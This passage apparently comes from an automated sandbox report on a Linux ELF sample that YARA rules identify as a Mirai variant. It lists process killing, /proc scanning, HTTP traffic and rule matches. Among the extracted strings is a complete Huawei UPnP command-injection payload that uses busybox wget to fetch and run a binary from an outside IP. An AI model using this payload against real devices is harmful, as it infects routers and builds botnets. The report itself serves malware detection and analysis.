20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:25:47 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 02 Jan 2024 05:25:42 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 02 Jan 2024 05:25:44 GMTServer: Apache/2.4.17 (Win32) OpenSSL/1.0.2d PHP/5.5.30Vary: accept-language,accept-charsetAccept-Ranges: bytesConnection: closeContent-Type: text/html; charset=utf-8Content-Language: enExpires: Tue, 02 Jan 2024 05:25:44 GMTData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0d 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 70 6f 73 74 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 22 20 2f 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0d 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>Object not found!</title><link rev="made" href="mailto:postmaster@localhost" /><style type="text/css"><!--/--><![CDATA[/><!--/ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/]]>*/--></style></head><body><h1>Object not found!
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 02 Jan 2024 05:25:42 GMTServer: ApacheContent-Length: 65Keep-Alive: timeout=3, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e Data Ascii: <h1>Not Found</h1>The requested URL was not found on this server.
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: TengineDate: Tue, 02 Jan 2024 05:25:44 GMTContent-Type: text/htmlContent-Length: 221Connection: keep-aliveData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr/>Powered by Tengine<hr><center>nginx</center></body></html>

Source: if33NMq1O2.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: if33NMq1O2.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: if33NMq1O2.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: if33NMq1O2.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6213.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6213.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6209.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6209.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6258.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6258.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 6224, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 6225, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 6226, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 6227, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 6228, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 6229, result: successful	Jump to behavior

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 6224, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 6225, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 6226, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 6227, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 6228, result: successful	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	SIGKILL sent: pid: 6229, result: successful	Jump to behavior

Source: if33NMq1O2.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: if33NMq1O2.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6213.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6213.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6209.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6209.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6258.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6258.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@2/0

Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2033/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2275/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1612/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2028/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/3236/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2025/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2146/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/4444/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/6227/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/4445/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/6226/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/4446/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/6229/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/517/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/759/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/6228/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2285/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2281/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/761/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1622/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1983/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2038/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1860/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2156/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1629/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1627/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/4473/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/3021/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2294/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2050/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1877/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/772/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1633/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1632/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/774/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/654/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/896/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1872/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2048/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/655/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2289/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/777/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/4467/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/4500/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1639/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1638/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2208/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2180/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/4481/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1809/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/6147/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1494/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1890/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2063/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2062/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1888/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1886/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/420/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1489/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/785/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1642/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/788/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/667/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/789/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/4479/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/1648/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2078/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2077/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2074/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/2195/cmdline	Jump to behavior
Source: /tmp/if33NMq1O2.elf (PID: 6221)	File opened: /proc/670/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 51912
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 51964
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 51986
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52002
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52014
Source: unknown	Network traffic detected: HTTP traffic on port 37532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
